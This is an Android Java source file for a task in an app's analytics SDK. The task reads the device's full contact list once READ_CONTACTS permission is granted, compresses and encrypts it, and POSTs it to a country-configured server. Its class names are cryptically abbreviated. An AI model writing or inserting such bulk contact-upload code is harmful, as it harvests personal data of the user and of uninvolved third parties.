package com.kingsalert.kingsalert.analytics.data_sdk.task;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.text.TextUtils;

import androidx.core.content.ContextCompat;

import com.kingsalert.kingsalert.analytics.data_sdk.ASBuilder;
import com.kingsalert.kingsalert.analytics.data_sdk.beans.ASRequestPms;
import com.kingsalert.kingsalert.analytics.data_sdk.http.ASReqstManger;
import com.kingsalert.kingsalert.analytics.data_sdk.logger.ASLger;
import com.kingsalert.kingsalert.analytics.data_sdk.services.ASCtctIfo;
import com.kingsalert.kingsalert.config.CountryConfig;

import java.util.function.Supplier;


public class ASDevcCntaTsk implements Supplier<String> {

    private final static String TAG = "ASDeviceContactTask";

    private final String mTaskId;
    private final Context mContext;

    public ASDevcCntaTsk(Context context, String taskId) {
        this.mContext = context;
        this.mTaskId = taskId;
    }

    @Override
    public String get() {
        // 日志标记
        ASLger.d(TAG, TAG + " 执行中...");

        // 过滤条件
        if (TextUtils.isEmpty(ASBuilder.P_COTACT)) {
            return mTaskId + "";
        }

        String infoBeans = "";
        if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_CONTACTS)) {
            infoBeans = ASCtctIfo.getZipString(mContext);
        } else {
            // 日志标记
            ASLger.d(TAG, "获取联系人信息出错：没有 READ_CONTACTS 权限");
            return mTaskId+"";
        }

        ASRequestPms netParams = new ASRequestPms();
        netParams.setPBG(infoBeans);
        netParams.setBL(infoBeans);
//        String result = new Gson().toJson(netParams).trim();
        String result = netParams.toEncryptParams(ASBuilder.P_COTACT);

        // 上报请求
        String url = CountryConfig.getInstance().getCommonPath();
        new ASReqstManger.Builder().setReqId(this.mTaskId).setUrl(url).setBody(result).build().doPostRqst();

        return mTaskId + "";
    }
}
